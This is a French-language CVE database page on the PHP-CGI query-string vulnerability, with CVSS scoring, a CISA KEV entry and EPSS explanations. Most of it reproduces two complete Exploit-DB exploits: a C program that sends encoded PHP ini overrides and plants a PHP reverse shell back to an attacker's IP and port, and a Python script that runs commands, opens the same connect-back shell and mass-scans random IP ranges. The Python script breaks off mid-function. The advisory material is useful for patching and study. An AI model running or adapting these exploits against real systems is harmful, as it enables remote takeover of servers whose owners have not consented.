Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE Other |
No informations. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : PHP-CGI Query String Parameter Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-24 23:00 +00:00
Action attendue : 2022-04-14 22:00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 29290
Date de publication : 2013-10-28 23:00 +00:00
Auteur : kingcope
EDB Vérifié : Yes
/* Apache Magica by Kingcope */
/* gcc apache-magika.c -o apache-magika -lssl */
/* This is a code execution bug in the combination of Apache and PHP.
On Debian and Ubuntu the vulnerability is present in the default install
of the php5-cgi package. When the php5-cgi package is installed on Debian and
Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
the binary because this binary has a security check enabled when installed with
Apache http server and this security check is circumvented by the exploit.
When accessing the php-cgi binary the security check will block the request and
will not execute the binary.
In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
check is done when the php.ini configuration setting cgi.force_redirect is set
and the php.ini configuration setting cgi.redirect_status_env is set to no.
This makes it possible to execute the binary bypassing the Security check by
setting these two php.ini settings.
Prior to this code for the Security check getopt is called and it is possible
to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
-d switch. If both values are set to zero and the request is sent to the server
php-cgi gets fully executed and we can use the payload in the POST data field
to execute arbitrary php and therefore we can execute programs on the system.
apache-magika.c is an exploit that does exactly the prior described. It does
support SSL.
/* Affected and tested versions
PHP 5.3.10
PHP 5.3.8-1
PHP 5.3.6-13
PHP 5.3.3
PHP 5.2.17
PHP 5.2.11
PHP 5.2.6-3
PHP 5.2.6+lenny16 with Suhosin-Patch
Affected versions
PHP prior to 5.3.12
PHP prior to 5.4.2
Unaffected versions
PHP 4 - getopt parser unexploitable
PHP 5.3.12 and up
PHP 5.4.2 and up
Unaffected versions are patched by CVE-2012-1823.
*/
/* .
/'\rrq rk
. // \\ .
.x.//fco\\-|-
'//cmtco\\zt
//6meqrg.\\tq
//_________\\'
EJPGQO
apache-magica.c by Kingcope
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/types.h>
#include <stddef.h>
#include <openssl/rand.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
typedef struct {
int sockfd;
SSL *handle;
SSL_CTX *ctx;
} connection;
void usage(char *argv[])
{
printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
"<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
argv[0]);
exit(1);
}
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
"%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
"%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
"%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
"%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \
"Host: %s\r\n" \
"User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \
"(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Content-Length: %d\r\n" \
"Connection: close\r\n\r\n%s";
char phpstr[] = "<?php\n" \
"set_time_limit(0);\n" \
"$ip = '%s';\n" \
"$port = %d;\n" \
"$chunk_size = 1400;\n" \
"$write_a = null;\n" \
"$error_a = null;\n" \
"$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \
"$daemon = 0;\n" \
"$debug = 0;\n" \
"if (function_exists('pcntl_fork')) {\n" \
" $pid = pcntl_fork(); \n" \
" if ($pid == -1) {\n" \
" printit(\"ERROR: Can't fork\");\n" \
" exit(1);\n" \
" }\n" \
" if ($pid) {\n" \
" exit(0);\n" \
" }\n" \
" if (posix_setsid() == -1) {\n" \
" printit(\"Error: Can't setsid()\");\n" \
" exit(1);\n" \
" }\n" \
" $daemon = 1;\n" \
"} else {\n" \
" printit(\"WARNING: Failed to daemonise.\");\n" \
"}\n" \
"chdir(\"/\");\n" \
"umask(0);\n" \
"$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \
"if (!$sock) {\n" \
" printit(\"$errstr ($errno)\");\n" \
" exit(1);\n" \
"}\n" \
"$descriptorspec = array(\n" \
" 0 => array(\"pipe\", \"r\"),\n" \
" 1 => array(\"pipe\", \"w\"),\n" \
" 2 => array(\"pipe\", \"w\")\n" \
");\n" \
"$process = proc_open($shell, $descriptorspec, $pipes);\n" \
"if (!is_resource($process)) {\n" \
" printit(\"ERROR: Can't spawn shell\");\n" \
" exit(1);\n" \
"}\n" \
"stream_set_blocking($pipes[0], 0);\n" \
"stream_set_blocking($pipes[1], 0);\n" \
"stream_set_blocking($pipes[2], 0);\n" \
"stream_set_blocking($sock, 0);\n" \
"while (1) {\n" \
" if (feof($sock)) {\n" \
" printit(\"ERROR: Shell connection terminated\");\n" \
" break;\n" \
" }\n" \
" if (feof($pipes[1])) {\n" \
" printit(\"ERROR: Shell process terminated\");\n" \
" break;\n" \
" }\n" \
" $read_a = array($sock, $pipes[1], $pipes[2]);\n" \
" $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \
" if (in_array($sock, $read_a)) {\n" \
" if ($debug) printit(\"SOCK READ\");\n" \
" $input = fread($sock, $chunk_size);\n" \
" if ($debug) printit(\"SOCK: $input\");\n" \
" fwrite($pipes[0], $input);\n" \
" }\n" \
" if (in_array($pipes[1], $read_a)) {\n" \
" if ($debug) printit(\"STDOUT READ\");\n" \
" $input = fread($pipes[1], $chunk_size);\n" \
" if ($debug) printit(\"STDOUT: $input\");\n" \
" fwrite($sock, $input);\n" \
" }\n" \
" if (in_array($pipes[2], $read_a)) {\n" \
" if ($debug) printit(\"STDERR READ\");\n" \
" $input = fread($pipes[2], $chunk_size);\n" \
" if ($debug) printit(\"STDERR: $input\");\n" \
" fwrite($sock, $input);\n" \
" }\n" \
"}\n" \
"\n" \
"fclose($sock);\n" \
"fclose($pipes[0]);\n" \
"fclose($pipes[1]);\n" \
"fclose($pipes[2]);\n" \
"proc_close($process);\n" \
"function printit ($string) {\n" \
" if (!$daemon) {\n" \
" print \"$string\n\";\n" \
" }\n" \
"}\n" \
"exit(1);\n" \
"?>";
struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port)
{
struct hostent *he;
struct sockaddr_in server, *servercopy;
if ((he=gethostbyname(hostname)) == NULL) {
printf("Hostname cannot be resolved\n");
exit(255);
}
servercopy = malloc(sizeof(struct sockaddr_in));
if (!servercopy) {
printf("malloc error (1)\n");
exit(255);
}
memset(&server, '\0', sizeof(struct sockaddr_in));
memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
server.sin_family = AF_INET;
server.sin_port = htons(port);
memcpy(servercopy, &server, sizeof(struct sockaddr_in));
return servercopy;
}
char *sslread(connection *c)
{
char *rc = NULL;
int received, count = 0, count2=0;
char ch;
for(;;)
{
if (!rc)
rc = calloc(1024, sizeof (char) + 1);
else
if (count2 % 1024 == 0) {
rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
}
received = SSL_read(c->handle, &ch, 1);
if (received == 1) {
rc[count++] = ch;
count2++;
if (count2 > 1024*5)
break;
}
else
break;
}
return rc;
}
char *read_(int sockfd)
{
char *rc = NULL;
int received, count = 0, count2=0;
char ch;
for(;;)
{
if (!rc)
rc = calloc(1024, sizeof (char) + 1);
else
if (count2 % 1024 == 0) {
rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
}
received = read(sockfd, &ch, 1);
if (received == 1) {
rc[count++] = ch;
count2++;
if (count2 > 1024*5)
break;
}
else
break;
}
return rc;
}
void main(int argc, char *argv[])
{
char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL,
*interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL;
char httpsflag=0;
unsigned short port=0, reverseport=0;
struct sockaddr_in *server;
int sockfd;
unsigned int writesize, tmpsize;
unsigned int i;
connection *sslconnection;
printf("-== Apache Magika by Kingcope ==-\n");
for(;;)
{
int c;
int option_index=0;
static struct option long_options[] = {
{"target", required_argument, 0, 0 },
{"port", required_argument, 0, 0 },
{"protocol", required_argument, 0, 0 },
{"reverse-ip", required_argument, 0, 0 },
{"reverse-port", required_argument, 0, 0 },
{"force-interpreter", required_argument, 0, 0 },
{0, 0, 0, 0 }
};
c = getopt_long(argc, argv, "", long_options, &option_index);
if (c < 0)
break;
switch (c) {
case 0:
switch (option_index) {
case 0:
if (optarg) {
target = calloc(strlen(optarg)+1, sizeof(char));
if (!target) {
printf("calloc error (2)\n");
exit(255);
}
memcpy(target, optarg, strlen(optarg)+1);
}
break;
case 1:
if(optarg)
port = atoi(optarg);
break;
case 2:
protocol = calloc(strlen(optarg)+1, sizeof(char));
if (!protocol) {
printf("calloc error (3)\n");
exit(255);
}
memcpy(protocol, optarg, strlen(optarg)+1);
if (!strcmp(protocol, "https"))
httpsflag=1;
break;
case 3:
reverseip = calloc(strlen(optarg)+1, sizeof(char));
if (!reverseip) {
printf("calloc error (4)\n");
exit(255);
}
memcpy(reverseip, optarg, strlen(optarg)+1);
break;
case 4:
reverseport = atoi(optarg);
reverseportstr = calloc(strlen(optarg)+1, sizeof(char));
if (!reverseportstr) {
printf("calloc error (5)\n");
exit(255);
}
memcpy(reverseportstr, optarg, strlen(optarg)+1);
break;
case 5:
forceinterpreter = calloc(strlen(optarg)+1, sizeof(char));
if (!forceinterpreter) {
printf("calloc error (6)\n");
exit(255);
}
memcpy(forceinterpreter, optarg, strlen(optarg)+1);
break;
default:
usage(argv);
}
break;
default:
usage(argv);
}
}
if ((optind < argc) || !target || !protocol || !port ||
!reverseip || !reverseport){
usage(argv);
}
server = gethostbyname_(target, port);
if (!server) {
printf("Error while resolving hostname. (7)\n");
exit(255);
}
char *interpreters[5];
int ninterpreters = 5;
interpreters[0] = strdup("/cgi-bin/php");
interpreters[1] = strdup("/cgi-bin/php5");
interpreters[2] = strdup("/cgi-bin/php-cgi");
interpreters[3] = strdup("/cgi-bin/php.cgi");
interpreters[4] = strdup("/cgi-bin/php4");
for (i=0;i<ninterpreters;i++) {
interpreter = interpreters[i];
if (forceinterpreter) {
interpreter = strdup(forceinterpreter);
}
if (forceinterpreter && i)
break;
printf("%s\n", interpreter);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 1) {
printf("socket error (8)\n");
exit(255);
}
if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) {
printf("connect error (9)\n");
exit(255);
}
if (httpsflag) {
sslconnection = (connection*) malloc(sizeof(connection));
if (!sslconnection) {
printf("malloc error (10)\n");
exit(255);
}
sslconnection->handle = NULL;
sslconnection->ctx = NULL;
SSL_library_init();
sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
if (!sslconnection->ctx) {
printf("SSL_CTX_new error (11)\n");
exit(255);
}
sslconnection->handle = SSL_new(sslconnection->ctx);
if (!sslconnection->handle) {
printf("SSL_new error (12)\n");
exit(255);
}
if (!SSL_set_fd(sslconnection->handle, sockfd)) {
printf("SSL_set_fd error (13)\n");
exit(255);
}
if (SSL_connect(sslconnection->handle) != 1) {
printf("SSL_connect error (14)\n");
exit(255);
}
}
tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64;
tmpstr = (char*)calloc(tmpsize, sizeof(char));
snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
writesize = strlen(target) + strlen(interpreter) +
strlen(poststr) + strlen(tmpstr) + 64;
writestr = (char*)calloc(writesize, sizeof(char));
snprintf(writestr, writesize, poststr, interpreter,
target, strlen(tmpstr), tmpstr);
if (!httpsflag) {
write(sockfd, writestr, strlen(writestr));
readbuf = read_(sockfd);
} else {
SSL_write(sslconnection->handle, writestr, strlen(writestr));
readbuf = sslread(sslconnection);
}
if (readbuf) {
printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf);
} else {
printf("read error (15)\n");
exit(255);
}
}
exit(1);
}
Exploit Database EDB-ID : 29316
Date de publication : 2013-10-30 23:00 +00:00
Auteur : noptrix
EDB Vérifié : No
#!/usr/bin/env python
#
# ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit
#
# NOTE:
# - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((
# - for connect back shell start netcat/nc and bind port on given host:port
# - is ip-range scanner not is multithreaded, but iz multithreaded iz in
# random scanner and is scanner from file (greets to MustLive)
# - more php paths can be added
# - adjust this shit for windows b0xes
#
# 2013
# by noptrix - http://nullsecurity.net/
import sys, socket, argparse, threading, time, random, select, ssl
NONE = 0
VULN = 1
SCMD = 2
XPLT = 3
t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \
'%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \
'%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \
'%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\
'%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\
'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'
def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
c0nn_b4ck = \
'''
<? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
$port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
$error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i";
$daemon = 0;
$debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {
printit("$errstr ($errno)");exit(1);}$descriptorspec = array(
0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");while (1) {
if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
function printit ($string) {if (!$daemon) {print "$string\n";}}?>
'''
return c0nn_b4ck
def enc0dez():
n33dz1 = ('cgi-bin', 'php')
n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',
'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',
'open_basedir=none', '-d', 'auto_prepend_file=php://input',
'-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',
'-d', 'auto_prepend_file=php://input', '-n')
fl4g = 0
arg5 = ''
p4th = ''
plus = ''
for x in n33dz2:
if fl4g == 1:
plus = '+'
arg5 = arg5 + plus + \
''.join('%' + c.encode('utf-8').encode('hex') for c in x)
fl4g = 1
for x in n33dz1:
p4th = p4th + '/' + \
''.join('%' + c.encode('utf-8').encode('hex') for c in x)
return (p4th, arg5)
def m4k3_p4yl0rd(p4yl0rd, m0de):
p4th, arg5 = enc0dez()
if m0de == VULN:
p4yl0rd = t3st
elif m0de == SCMD or m0de == XPLT:
p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \
'Host: ' + sys.argv[1] + '\r\n' \
'Content-Type: application/x-www-form-urlencoded\r\n' \
'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd
return p4yl0rd
def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck):
pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
s = d0_c0nn3ct(args)
try:
ss = socket.ssl(s)
except:
print "-> n0 w3bs3rv3r 0n %s" % (args.h)
return
if m0de == VULN:
p4yl0rd = m4k3_p4yl0rd('', m0de)
ss.write(p4yl0rd)
try:
d4t4 = ss.read(8192)
except:
return
for p in pat:
if p in d4t4:
print "-> " + args.h + " vu1n"
return args.h
else:
if args.v:
print "-> %s n0t vu1n" % (args.h)
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
ss.write(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.T))
if rd:
for l1n3 in ss.read():
sys.stdout.write(l1n3)
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
ss.write(p4yl0rd)
else:
if args.v:
print "-> n0 w3bs3rv3r 0n %s" % (args.h)
return
def s3nd_sh1t(args, m0de, c0nn_b4ck):
pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
s = d0_c0nn3ct(args)
if s:
if m0de == VULN:
p4yl0rd = m4k3_p4yl0rd('', m0de)
s.sendall(p4yl0rd)
try:
d4t4 = s.recv(8192)
except:
return
for p in pat:
try:
if p in d4t4:
print "-> " + args.h + " vu1n"
if args.f:
wr1te_fil3(args)
return args.h
else:
if args.v:
print "-> %s n0t vu1n" % (args.h)
return
except:
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
s.sendall(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.T))
if rd:
try:
for l1n3 in s.makefile():
print l1n3,
except:
return
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
s.sendall(p4yl0rd)
else:
if args.v:
print "-> c0uld n0t c0nn3ct t0 %s" % (args.h)
return
def d0_c0nn3ct(args):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(args.t))
res = s.connect_ex((args.h, int(args.p)))
if res == 0:
return s
except socket.error:
return
return
def m4k3_r4nd_1p4ddr(num):
h0sts = []
for x in range(int(num)):
h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),
random.randrange(0,255), random.randrange(0,255),
random.randrange(0,255)))
return h0sts
def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb):
args.h = h0st.rstrip()
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
return
def sc4n_r4ng3(args, m0de, rsa, rsb):
vu1nz = []
for i in range (rsa[0], rsb[0]):
for j in range (rsa[1], rsb[1]):
for k in range (rsa[2], rsb[2]):
for l in range(rsa[3], rsb[3]):
args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
return
def m4k3_ipv4_r4ng3(iprange):
a = tuple(part for part in iprange.split('.'))
rsa = (range(4))
rsb = (range(4))
for i in range(0,4):
ga = a[i].find('-')
if ga != -1:
rsa[i] = int(a[i][:ga])
rsb[i] = int(a[i][1+ga:]) + 1
else:
rsa[i] = int(a[i])
rsb[i] = int(a[i]) + 1
return (rsa, rsb)
def parse_args():
p = argparse.ArgumentParser(
usage='\n\n ./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \
'[0pt1ons]\n ./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\
' [0pt1ons]',
formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)
opts = p.add_argument_group('0pt1ons', '')
opts.add_argument('-h', metavar='wh1t3h4tz.0rg',
help='| t3st s1ngle h0st f0r vu1n')
opts.add_argument('-p', default=80, metavar='80',
help='| t4rg3t p0rt (d3fau1t: 80)')
opts.add_argument('-S', action='store_true',
help='| c0nn3ct thr0ugh ss1')
opts.add_argument('-c', metavar='\'uname -a;id\'',
help='| s3nd c0mm4nds t0 h0st')
opts.add_argument('-x', metavar='192.168.0.2:1337',
help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')
opts.add_argument('-s', action='store_true',
help='| t3st s1ngl3 h0st f0r vu1n')
opts.add_argument('-r', metavar='133.1.3-7.7-37',
help='| sc4nz iP addr3ss r4ng3 f0r vu1n')
opts.add_argument('-R', metavar='1337',
help='| sc4nz num r4nd0m h0st5 f0r vu1n')
opts.add_argument('-t', default=2, metavar='2',
help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)')
opts.add_argument('-T', default=2, metavar='2',
help='| r3ad t1me0ut in s3x (d3fau1t: 3)')
opts.add_argument('-f', metavar='vu1n.lst',
help='| wr1t3 vu1n h0sts t0 f1l3')
opts.add_argument('-i', metavar='sc4nz.lst',
help='| sc4nz h0sts fr0m f1le f0r vu1n')
opts.add_argument('-v', action='store_true',
help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')
args = p.parse_args()
if not args.h and not args.r and not args.R and not args.i:
p.print_help()
sys.exit(0)
return args
def wr1te_fil3(args):
try:
f = open(args.f, "a+")
f.write(args.h + "\n")
f.close()
except:
sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT')
sys.stderr.write('\n')
raise SystemExit()
return
def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb):
num_h0sts = len(h0sts)
num = 0
try:
if args.r:
sc4n_r4ng3(args, m0de, rsa, rsb)
else:
for h0st in h0sts:
num += 1
if args.v:
sys.stdout.flush()
sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) +
"] ")
else:
sys.stdout.flush()
sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) +
"/" + str(num_h0sts) + " \b")
t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de,
vu1nz, None, None))
t.start()
t.join()
except KeyboardInterrupt:
sys.stdout.flush()
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
return
def c0ntr0ller():
vu1nz = []
m0de = NONE
try:
args = parse_args()
if args.h:
if args.s:
print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)
m0de = VULN
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
elif args.c:
print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)
m0de = SCMD
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
elif args.x:
print "[+] xpl0it1ng b0x %s " % (args.h)
m0de = XPLT
if args.x.find(':') != -1:
if not args.x.split(':')[1]:
print "[-] 3rr0r: p0rt m1ss1ng"
else:
cb_h0st = args.x.split(':')[0]
cb_p0rt = args.x.split(':')[1]
else:
print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"
c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)
if args.S:
s3nd_sh1t_ss1(args, m0de, c0nn_b4ck)
else:
s3nd_sh1t(args, m0de, c0nn_b4ck)
else:
print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"
sys.exit(-1)
if args.r:
print "[+] sc4nn1ng r4ng3 %s " % (args.r)
m0de = VULN
rsa, rsb = m4k3_ipv4_r4ng3(args.r)
run_threads(args, None, m0de, None, rsa, rsb)
if args.R:
print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))
m0de = VULN
h0sts = m4k3_r4nd_1p4ddr(int(args.R))
